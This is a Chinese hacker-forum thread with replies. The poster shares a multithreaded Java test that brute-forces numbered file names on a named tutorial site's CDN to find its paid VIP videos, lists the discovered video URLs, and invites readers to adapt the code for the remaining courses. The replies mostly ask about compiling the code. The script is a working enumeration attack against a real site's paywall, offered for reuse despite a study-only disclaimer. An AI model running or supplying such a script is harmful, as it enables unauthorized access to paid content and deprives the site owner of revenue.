设为首页收藏本站
查看: 2503|回复: 24

免费获取小风教程网部分VIP教程的思路

[复制链接]
  • TA的每日心情
    奋斗
    2019-10-18 15:24
  • 签到天数: 34 天

    [LV.5]常住居民I

    发表于 2019-8-29 11:16:16 | 显示全部楼层 |阅读模式 赞助商
    本帖最后由 slade 于 2019-8-30 13:58 编辑

    场景:机缘巧合去该网站的网盘下载了一些东西发现了此网站,抱着学习的心态看了下这个网站
    无意看到了该站的VIP,价格有点偏贵,这时候才发现还是咱红盟好!看了一眼他们的VIP教程,发现了一个规律,他们的教程文件都是存放于CDN

    这时候思路来了,既然是以数字命名,我们只需要写段程序直接暴力破解就行了,只要返回的http code是200就说明是教程视频的url,代码如下:
    ps:我其实先是写了段python代码,但是cdn返回较慢效率太低,所以想到了多线程,说实话我python功底不是太好,所以后来改用了本命语言java,其实代码都是相通的
    1. import com.cn.site.SiteApplication;
    2. import com.cn.site.common.http.ZHttpClient;
    3. import com.google.common.util.concurrent.ThreadFactoryBuilder;
    4. import org.junit.Test;
    5. import org.junit.runner.RunWith;
    6. import org.springframework.boot.test.context.SpringBootTest;
    7. import org.springframework.test.context.junit4.SpringRunner;

    8. import java.util.concurrent.*;

    9. @RunWith(SpringRunner.class)
    10. @SpringBootTest(classes={SiteApplication.class})
    11. public class UrlTest {

    12.     @Test
    13.     public void urlTest() throws InterruptedException {
    14.         ThreadFactory EXECUTE_THREAD_FACTORY = new ThreadFactoryBuilder()
    15.                 .setNameFormat("toolsExecuteQueue-pool-%d").build();
    16.         ExecutorService THREAD_POOL = new ThreadPoolExecutor(5, 10, 0L, TimeUnit.MILLISECONDS,
    17.                 new LinkedBlockingQueue<>(), EXECUTE_THREAD_FACTORY, new ThreadPoolExecutor.AbortPolicy());
    18.         String url = "http://cdn.xf1433.com/xss/%s";
    19.         int code = 1514;
    20.         for (int i = 0; i < 10000; i++) {
    21.             String urlNow = url.replace("%s", i + "");
    22.             THREAD_POOL.execute(() -> {
    23.                 try {
    24.                     ZHttpClient client = new ZHttpClient();
    25.                     client.setTimeout(10000);
    26.                     int httpStatus = client.headHttpClient(urlNow);
    27.                     if(httpStatus == 200) {
    28.                         System.out.println(urlNow);
    29.                     }
    30.                 } catch (Exception e) {}
    31.             });
    32.         }
    33.         Thread.sleep(10000000000000L);
    34.     }

    35. }
    复制代码

    运行结果如下:
    sql注入
    http://cdn.xf1433.com/sql/1442.mp4
    http://cdn.xf1433.com/sql/2667.mp4
    http://cdn.xf1433.com/sql/3575.mp4
    http://cdn.xf1433.com/sql/4752.mp4
    http://cdn.xf1433.com/sql/5674.mp4

    xss攻击
    http://cdn.xf1433.com/xss/1514.mp4
    http://cdn.xf1433.com/xss/2421.mp4
    http://cdn.xf1433.com/xss/3489.mp4
    http://cdn.xf1433.com/xss/4484.mp4

    网站搭建
    http://cdn.xf1433.com/wangzhan/01.mp4
    http://cdn.xf1433.com/wangzhan/02.mp4
    http://cdn.xf1433.com/wangzhan/03.mp4
    http://cdn.xf1433.com/wangzhan/04.mp4
    http://cdn.xf1433.com/wangzhan/05.mp4

    其余的同理大家自己去改我代码运行吧!不过人家建站录教程也不容易,有经济能力的朋友可以去赞助他们一下!
    免责声明:仅限用于学习和研究目的;不得将上述内容用于商业或者非法用途,否则,一切后果请用户自负。

    ps:作者码字不易,不做伸手党,你们懂得-。-来自群组: 中国红客联盟[华东]

    本帖子中包含更多资源

    您需要 登录 才可以下载或查看,没有帐号?注册

    x
  • TA的每日心情
    奋斗
    2019-10-18 15:24
  • 签到天数: 34 天

    [LV.5]常住居民I

    发表于 2019-8-29 15:25:56 | 显示全部楼层 赞助商
    416773409 发表于 2019-8-29 14:58
    感谢大佬 虽然有点看不懂 哈哈哈慢慢学习  可以推荐下学习方向嘛

    sorry可能我表达能力不是太好-。-第一次写文章见谅。其实原理很简单就是用这段代码去暴力破解cdn里面视频文件所在的url
    回复 支持 1 反对 0

    使用道具 举报

  • TA的每日心情
    开心
    昨天 10:52
  • 签到天数: 222 天

    [LV.7]常住居民III

    发表于 2019-8-29 12:27:06 | 显示全部楼层
    深奥  ,看不懂
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2019-11-29 16:52
  • 签到天数: 437 天

    [LV.9]以坛为家II

    发表于 2019-8-29 12:51:58 | 显示全部楼层 赞助商
    厉害,受教了!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    无聊
    前天 10:41
  • 签到天数: 181 天

    [LV.7]常住居民III

    发表于 2019-8-29 14:58:34 | 显示全部楼层
    感谢大佬 虽然有点看不懂 哈哈哈慢慢学习  可以推荐下学习方向嘛
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    无聊
    前天 10:41
  • 签到天数: 181 天

    [LV.7]常住居民III

    发表于 2019-8-29 18:18:57 | 显示全部楼层
    slade 发表于 2019-8-29 15:25
    sorry可能我表达能力不是太好-。-第一次写文章见谅。其实原理很简单就是用这段代码去暴力破解cdn里面视频 ...

    哈哈哈应该先学python和java嘛 来自小白的疑惑  这属于网络渗透的知识嘛
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    奋斗
    2019-10-18 15:24
  • 签到天数: 34 天

    [LV.5]常住居民I

    发表于 2019-8-29 18:33:36 | 显示全部楼层 赞助商
    416773409 发表于 2019-8-29 18:18
    哈哈哈应该先学python和java嘛 来自小白的疑惑  这属于网络渗透的知识嘛

    学啥都可以,语言都是相通的,懂代码肯定是对渗透有很大帮助的。
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    昨天 12:08
  • 签到天数: 130 天

    [LV.7]常住居民III

    发表于 2019-8-29 19:22:51 来自手机 | 显示全部楼层
    小白看不懂啊~
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    无聊
    前天 10:41
  • 签到天数: 181 天

    [LV.7]常住居民III

    发表于 2019-8-29 19:30:36 | 显示全部楼层
    slade 发表于 2019-8-29 18:33
    学啥都可以,语言都是相通的,懂代码肯定是对渗透有很大帮助的。

    ok感谢老哥 顺便层一手威望哈哈哈
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2019-10-5 18:25
  • 签到天数: 45 天

    [LV.5]常住居民I

    发表于 2019-8-31 11:49:22 | 显示全部楼层
    請問大佬這段代碼是用啥編譯器? 我用eclipse結果錯誤一堆沒法跑啊
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    奋斗
    2019-10-18 15:24
  • 签到天数: 34 天

    [LV.5]常住居民I

    发表于 2019-8-31 12:39:17 | 显示全部楼层 赞助商
    夢鈴 发表于 2019-8-31 11:49
    請問大佬這段代碼是用啥編譯器? 我用eclipse結果錯誤一堆沒法跑啊

    什么编辑器都可以,只是需要引入spring boot和httpclient的jar包引用才可以
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    昨天 09:30
  • 签到天数: 162 天

    [LV.7]常住居民III

    发表于 2019-9-3 10:37:39 | 显示全部楼层
    网页源代码不就可以看到链接了?
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    奋斗
    2019-10-18 15:24
  • 签到天数: 34 天

    [LV.5]常住居民I

    发表于 2019-9-3 10:38:57 | 显示全部楼层 赞助商
    zer0_o 发表于 2019-9-3 10:37
    网页源代码不就可以看到链接了?

    你去试试看能不能看得到?
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    昨天 09:30
  • 签到天数: 162 天

    [LV.7]常住居民III

    发表于 2019-9-3 10:42:36 | 显示全部楼层
    本帖最后由 zer0_o 于 2019-9-3 10:43 编辑
    slade 发表于 2019-9-3 10:38
    你去试试看能不能看得到?


    没看到你的什么网站,如果只是你所说的超链接模式,在网页源代码中是可以找到这个链接原址的。

    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    关闭

    站长推荐 上一条 /1 下一条

    红盟社区--中国红客联盟 

    Processed in 0.115596 second(s), 28 queries.

    站点统计| 举报| Archiver| 手机版| 黑屋 |   

    Powered by HUC © 2001-2017 Comsenz Inc.

    手机扫我进入移动触屏客户端

    关注我们可获取更多热点资讯

    Honor accompaniments. theme macfee

    快速回复 返回顶部 返回列表